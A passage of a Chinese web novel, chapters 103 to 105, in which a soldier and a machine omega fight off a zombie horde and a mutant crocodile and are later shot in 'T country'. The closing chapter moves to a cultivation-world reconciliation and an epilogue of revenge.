α病毒在别的机器omega那里,肯定还有。 就算他的预想错误,他也会拼死完成任务就是了。 “这次如果保住了平安山基地,立了大功,我想让国家更改一条法律。” 第103章 103 哥们帅不帅 沈砚台:“增加一条, alpha可以迎娶机器omega。” 月轻盈:“……” “为什么?”月轻盈不理解,“你们这里曾经有机器omega和人类alpha发生了感情的事吗?” 沈砚台尴尬了。 他伸手挠挠鼻子,“我俩这不算吗?” 月轻盈外头:“我俩这算什么?” 沈砚台急了。 他翻上车里, 去寻找被月轻盈保留起来的伞:“这不是咱们的定情信物吗?” 月轻盈缓缓启唇:“一把……烂伞?” 沈砚台哽住了, “这都末世了, 你还想要啥条件啊!” 月轻盈咯咯笑了起来。 他眉眼弯弯,唇瓣弯弯,笑颜软软,沈砚台一下子就被射中了心脏。 他觉得国家的法律真的应该改改。 机器omega除了生不出孩子, 其他哪里有差? 就在沈砚台准备继续缠磨月轻盈的时候, 小胖的嘶吼声响彻大地。 “老大,丧尸群来了, 距离我们五百米!” “什么!”沈砚台一改慎重的脸色,立即走到小胖身边拿起了望远镜。 沈砚台骂骂咧咧:“这丧尸群里是不是有我们的卧底, 陷阱还没有布置完成,他们怎么来的这么快?” 沈砚台赶紧指挥人手一边继续布置, 一边后退 他回头看了一眼平安山。 他们只能后退五步, 如果这五步没有守住, 平安山就没了,国家也将没了, 整个人类消失。 沈砚台额角青筋爆起,“其他人跟我冲!” 沈砚台带着小胖、月轻盈, 三人驾驶炮车, 提前去迎接丧尸群。 在丧尸群进一步靠近这里的时候先消灭掉他们一层,将他们的势力范围钉死在边缘。 到了地方,小胖看着密密麻麻的丧尸,鸡皮疙瘩炸起, 他一边努力塞炮,一边骂个不停:“操,看我让他们涨涨记性,人类不是好惹得!” 一颗炮让炸毁了丧尸群前端一小部分,然而丧尸群还是在不断地进攻。 人类的反攻让丧尸们感到愤怒,丧尸狗丧尸鸟侵巢而出。 “月轻盈!”沈砚台转头喊月轻盈。 月轻盈一点也不耽误,拉开车门翻身上了车顶,打开早已准备好的自制弓箭,将天上飞得这些目标做靶,靶靶正中目标。 然而丧尸群的范围太大了,飞禽类丧尸也多,月轻盈小小弓箭抵挡不下。 他迅速朝树林里奔去,丢下一句:“你们守好!” “啊,他怎么走了!我害怕!”小胖吼沈砚台:“你能不能管管他!” “管不了,他比我凶!”沈砚台龇牙。 “我们都发力了,什么时候到你啊,老大!”小胖急出了一身汗。 “不急,等我点根烟。”沈砚台拿起打火机,点燃咬在唇间的香烟。 不顾小胖你真骚,都这时候了还抽烟了的啰嗦,下车,和丧尸们对视,在他们扑过来之前,点燃地上提醒布好的阴险。 地底下埋的全是火药。 一共埋了五层,最后一层是平安山的山脚下,铺设了大概十米的范围。 这一层炸毁让丧尸群消失了三步远的距离,但还是不够,丧尸们前仆后继,根本杀不完。 果然,丧尸们在见着活人的时候更加亢奋了,步伐也越来越急促。 “快上车!”小胖见势不妙一阵催促! 沈砚台翻身上车,小胖自主架起炮台,一句话不说就是攻击。 随着时间的流逝,丧尸不减反增加,人类的武器即将用完,危机来临! 这时候车上突然传来声响,沈砚台和小胖脸巨变。 小胖:“要完,这丧尸爬上咱车顶了,我去!”沈砚台脸色阴沉:“我去!要是守不住这里,你开车回去,和他们集合,死也要守住平安山!” 小胖吼他:“能守住个屁,援军都没有!” “少说话多做事!”沈砚台上了车顶。 然而他探头一看才发现是月轻盈回来了。 “陷阱呢?”沈砚台愣了一下。 月轻盈勾了勾手指,脚踩沈砚台的脸,“下去,我也要下去。” 这是整了个大的? 沈砚台连忙让出位置。 月轻盈还没有坐好,就已经勾动了手指,数以百计的出鞘声异常刺耳。 下一秒,如烟花绽放般的战火在丧尸群里炸开,冲击力大的将炮车都颤的直摇晃。 看着瞬间少了一半的丧尸,小胖震惊,“牛啊!” 月轻盈皱眉:“开车上前,继续!” 沈砚台发动引擎,嘴角扬起,眼里发出嗜血的光。 可行!这样他们搞不好可以消灭丧尸!人类终将获得胜利! 而就在他们为了看到的一点曙光奋斗的时候,一黑镜突然朝他们攻击过来! 一阵翻天覆地的混乱,沈砚台耳鸣了,伸手一摸,流血了。 他抬头去看小胖和月轻盈的状态,小胖昏迷,月轻盈睁着双发亮的眼睛,语气严肃,“变异鳄鱼。” 沈砚台回头,这才看见一只庞大的鳄鱼将一小范围的丧尸踩扁,朝他们爬过来。 “快,离开车子!”沈砚台解开安全扣,带上小胖,三人爬出了车子。 但之后怎么办? 月轻盈看着炮车很是遗憾,这明明可以做他们的壁垒,但如今在鳄鱼面前却脆的跟纸一样。 “咱们得想法子杀了鳄鱼。” “咱们的想办法杀了鳄鱼。” 沈砚台和月轻盈的声音重叠在一起。 沈砚台和月轻盈合力将小胖放在一颗树上,高度足够,遮掩物足够,他不会有危险。 两个人凭借机枪的火力根本无法和一只庞大的鳄鱼及丧尸群搏斗。 沈砚台揩了一下耳朵的血顺手蹭在裤子上:“想想办法啊,月老板。” 月轻盈皱眉:“你才是队长。” 沈砚台切了一声,点燃了一根香烟,“那就只能上了。” 月轻盈端好武器,面色严肃,沈砚台却是一转身往车里跑。 月轻盈错愕。 沈砚台经过他身边道:“开火!” 月轻盈没反应过来,手已经扣动了扳机,下一秒沈砚台丧尸群方向丢过去几枚炸、弹。 月轻盈不在犹豫,一顿扫射,但效果微乎其微。 丧尸已经在朝他们逼近,飞禽类的丧尸也在上空盘旋,鳄鱼朝他们张开了大嘴。 “队长!”林远的声音响起。 沈砚台回头见着他,一阵骂:“你跑来干什么!我不是让你死守二线!” 林远:“大家都担心你们,让我过来支援,你们死了,我们二线能撑多久?” 眼前一道黑影,林远卧槽了一声,看着鳄鱼,他改口:“不然我现在回去呢?” 沈砚台吸气:“过来帮忙!” 有了林远的加入,沈砚台等人的压力稍减,他带了一些武器过来。 “现在怎么办?”林远皱眉。 丧尸们很聪明,知道鳄鱼的破坏力,他们围在鳄鱼的身边像是在保护它。 鳄鱼一个步伐就有百米远,要是鳄鱼活着,不出三秒,平安山基地将不复存在。 沈砚台葱车里翻出来一把长刀,“只能上了。” 沈砚台对林远和月轻盈道:“你们掩护我!” 沈砚台忽然靠近月轻盈,和他拥抱了一下。 林远没眼看:“都什么时候了,你还调情!” 沈砚台看了看地形,爬上了一颗大树,打算从上方条下鳄鱼的背将他击杀。 但……鳄鱼变得这么庞大,想来皮的厚度也很夸张。 长刀是刺不进去的,沈砚台的作法无疑送死。 月轻盈的抢口冒火,林远看了他一眼,跟着开火。 丧尸和鳄鱼受到干扰,队伍变乱,沈砚台找准机会跳到鳄鱼的背上。 鳄鱼的皮厚不假,但也降低了它的感知能力,它没有发觉自己身上多了一个人类。 沈砚台摸了摸长刀的刀口,眼眸复杂:“你要是电钻就好了!” 沈砚台握紧刀柄,长刀对准鳄鱼的背部,很很刺激了下去,很好,多了一道划痕。 鳄鱼终是发现了沈砚台,丧尸们爬上了鳄鱼的背。 沈砚台被丧尸包围,他奔跑起来,借着长刀和长锁,爬到了鳄鱼的吻步。 他找到了鳄鱼的鼻孔,爬了进去!不顾它的鼻息和腐臭味,找到它的咽喉位置,将炸、弹丢了进去。 时间不多了,他要赶紧从鳄鱼的身上爬出来远离丧尸群! 轰!剧烈的响声,高频的冲击,月轻盈和林远被吹翻在地,鳄鱼周边的丧尸也被硝烟吞没。 “开火啊!” 不远处传来吼盛,沈砚台一身是血狼狈的跑在追逐他的丧尸面前。 月轻盈伸手,脸绿了,沈砚台抱他的时候,把他的炸、弹顺走了。 “开个屁,我没火力了!”月轻盈朝他吼。 “林远!”沈砚台自知心虚,吼林远。 林远赶紧分了一些给月轻盈。 还剩一点点距离。 月轻盈竟然着急了,他朝沈砚台伸出了手,沈砚台一愣大笑着将手递了上去。 林远瞬间开火,乍燃起的火光,沈砚台扑倒在月轻盈的身上,“哥们帅不帅?” “你很臭。”月轻盈将他推开,给了他一把武器,“都在这了,咱们可以等死了。”月轻盈开始点射。 沈砚台:…… 就在他犹豫着要不要退居后面,用埋在地上的火药干丧尸的时候,身后忽然传来大批的脚步声。 “队长!支援来了!” 沈砚台回头,见着王大带着一对武装战士奔来。 第104章 第 104 章 哪有人会离开自己老婆…… 沈砚台立刻感动:“啥时候学的仙术?你能把这些东西变没吗?” 王大板着脸:“这些人是平安山基地的人。” 沈砚台诧异。 这群队伍里为首的人走了出来, 眼里都是大义:“国家生死面前,我们也不是缩头乌龟,一开始不信任你们, 如今见你们几人小队如此壮举, 我们在不做点什么, 都不能说是这个国家的人民。” 他朝沈砚台伸出手:“omega,李瑞。” 沈砚台郑重,用力握住他的手:“你们的帮助,肯定可以改变历史。” 李瑞:“那麻烦你们让让。” 沈砚台等人听话, 齐齐后退, 给这些人腾地。 好家伙,好几辆重坦克了, 炮车,甚至核武都有, 看的他们眼睛都直了。 林远、王大等人的吸气声庞大。 李瑞扫了他们一眼:“吵到我的眼睛了。” 林远、王大:“……” 李瑞号令发下,炮火出击, 一团团血雾, 立刻将眼前的路遮掩的模糊。 林远在一旁咂嘴:“要有这装备, 咱哪至于这么狼狈,组织还是抠啊, 小小基地这么多物资,一对比, 咱啥也不是。” 沈砚台摇头, 眼底复杂:“国家肯定是给每个基地都准备了很多物资,事态变化好以抵挡,只是……” 其他基地都没撑下来。 有了平安山基地的援助,丧尸潮算是堪堪渡过了危机。 接下来要关心的事, 就是月轻盈了。 月轻盈要去送α病毒去T国。 看着从平安山基地里薅物资的沈砚台,月轻盈捂脸:“你不用帮助我,你还有你的任务。” “丧尸潮都渡过了,这里不需要我了,有林远、王大、胖子和这里的人足够了。” 月轻盈还是不同意。 沈砚台说:“再说了,哪有人离开自己老婆的。” 月轻盈疑惑起来:“我怎么就是你老婆了?” 沈砚台不要脸:“在我这里你就是。” 月轻盈不听他胡扯,转头去找林远他们帮助阻拦沈砚台。 但不知道沈砚台说了什么,几人竟然支持他保护他。 月轻盈不理解:“你们不是讨厌我吗?” 林远等人立即尴尬起来。 “没有的事,只是当初你太拽了,但是看完你的实力了解你之后就不会这样了。” 胖子冲他挥手:“去吧去吧,我们老大贼强,丧尸鳄鱼都不怕。” 月轻盈哽住,只能板着脸去看得意的沈砚台。 两人开着车,备了两辆摩托车,带着装备和物资出发了。 薅时半个月抵达T国。 两人刚跨境,就被瞄准了。 月轻盈像是有感应一样,拿出拥有的证件,得到了通行。 沈砚台四下观察,皱起了眉头,周遭城市也是被丧尸破坏的如遗址。 为什么T国不做防护? 这么松散没有规划? 不等他细究,月轻盈牵住了他的胳膊,拉回了他的注意力。 两人的正前方走来了两个士兵。 军装,肩膀上背抢,手搭在扳机上,步伐看似松散,实际身体紧绷,已经进入备战状态。 月轻盈走过去,说起了T国语。 对方士兵有回应,伸手朝月轻盈要起了东西。 月轻盈没有戒备,将α病毒一个绿色小瓶子交了出来。 下一秒,月轻盈的眉心就多了一个黑洞。 沈砚台目眦欲裂,下一刻,他的眉心也被射穿!【你现在阅读的是 】 第105章 完结啦 第105章 完结啦 画地为牢 别云间里。 一张简易的石床上, 躺着一美丽的男人。 男人纤长的睫羽轻轻颤抖,继而缓缓睁开了眼。 看清楚屋内的装饰,他眼里满含震惊不信和困惑, 之后陷入久久的呆滞。 月轻盈无奈了。 他不是死了吗? 为什么死了还会梦到活着时发生过的场景? 他尝试着爬起来了, 却发现自己真的轻而易举做到了。 就在他要试探着下床的时候, 洞口传来串串脚步声,他屏气凝神,重新躺了回去。 不对劲,他好像没死? 沈砚台牵着三个小崽回来, 第一件事, 就是去观察石床的月轻盈。 见他脸色红润,身体周围仙气缭绕, 吐息缓缓,眉眼带着温柔, 堪堪后退。 “你们三个小崽子今天跟父亲请安了没有?” 老大奶声奶气:“请过了啊!” 老二吭哧吭哧在吃东西:“请过了啊,我还给父亲一个大大的亲亲!” 老三咕哝软语:“请过了啊, 我听到父亲说爱我!” 沈砚台要被这三个小崽子笑死。 月轻盈一直是昏迷的状态, 怎么可能会说爱崽崽的言辞? 沈砚台照顾三个崽崽。 装睡的月轻盈确是越听越震惊! 三个孩子? 是他当初的孩子吗? 沈砚台怎么会养着他们? 月轻盈的心绪波动, 自以为没人察觉,但沈砚台捕捉到了。 他下意识拢眉, 转头去看月轻盈,这一看不打紧, 忽然发现他的眉心有小小的蹙起! 月轻盈的意识醒来了! 沈砚台被巨大的狂喜冲击着, 随之而来的便是小心翼翼,他做了那么多的错事,即使他做了那么多救活了月轻盈,但月轻盈会原谅他吗? 沈砚台陷入了僵局。 三个小崽崽哪里知道爹亲的变化, 只以为爹亲在跟他们玩,爬到他的身上撒娇。 沈砚台耳朵发红,满脸羞意,不知道暗处偷窥的月轻盈见着他这一幕,是否会在心里仇恨着嘲笑他。 但事情总是要解决的。 沈砚台忽悠三个崽崽出去修炼。 自己这是坐在石床旁边,对上月轻盈。 月轻盈睁开了眼睛,满眼的泪水,无尽的委屈。 沈砚台见状,愣住,下一秒懊悔,止不住的道歉,一声声说的真挚,剖开了心脏,是一腔赤忱的爱意。 月轻盈凝视着沈砚台。 沈砚台叹息,伸手将他揽抱在怀里,诉说千年的思念。 沈砚台:“我很想你。” 月轻盈垂泪。 沈砚台诉说了,他当初为什么会伤害他。 原是沈砚台为了救他,被宋先灵钻了空子,趁他失忆,诓骗他,在他察觉出对月轻盈留有情愫后换了情丹,让他以为月轻盈并不是他所爱。 月轻盈默默听着。 只问了一句。 “那三个小孩。” 沈砚台眼里都是幸福和满足:“是我们的孩子,是你那三个曾经拥有却因为我而丢失的三个徒弟的魂魄凝结。” 沈砚台说:“对不起,我做了很多只想补偿你。” 月轻盈看着石桌上,那被三个崽子整的凌乱的桌子,“你把他们养大了。” 沈砚台笑:“嗯,他们是我的孩子,分去了我的寿命的真实的可贵的三个孩子。” 月轻盈不说话,却是伸手轻轻拥住了沈砚台。 他可以因为这三个孩同沈砚台貌合神离。 但他不会再爱沈砚台了。 沈砚台知道他对孩子感兴趣,伸手抱起他,“我带你去见见他们。” “他们……也很爱你。” 月轻盈点头。 久别的阳光洒在身上,月轻盈意识清醒,看着眼前的草木的颜色,深知自己终是被沈砚台救活了。 转眼间,他看到了在玩闹的三个崽崽满心满眼的爱意,他让沈砚台放他下来。 张口想喊他们。 却不知道他们喊什么。 沈砚台看出了他的窘迫,“你试着喊,孩子们,父亲醒了。” 月轻盈有些胆怯,但为了自己的孩子,鼓起了勇气。 听见呼喊了三个小崽崽,一回头,见着他们那谪仙般父亲的苏醒,哇的一声哭出来,哒哒哒朝他扑过去。 月轻盈蹲下身,拥着三个崽崽,闭上眼睛,直觉内心安宁。 后记。 沈砚台又杀回了魔族。 当着众万魔族士兵的面斩杀了宋先灵。 宋先灵知道沈砚台不会无故陨落千百年来做了很多谋划。 但还是差太多了,他的实力远不及沈砚台。 当他被沈砚台提着头,看着自己的身躯倒下,万念俱灰之际,还是执着的问出了那个人是谁。 他孩子的父亲是谁的问题。 沈砚台冷漠看着他,将他一把火烧了,到底是没有告诉他真相。 此人太坏,他不想怜悯他。 做完这一切,沈砚台消失了。 至于后面谁当魔族的魔尊都与他无关。 他现在只爱着他的妻子。 在寿命将尽之前,永远的去弥补他爱着他,守护他,甘愿画地为牢,困住他和他。【你现在阅读的是 】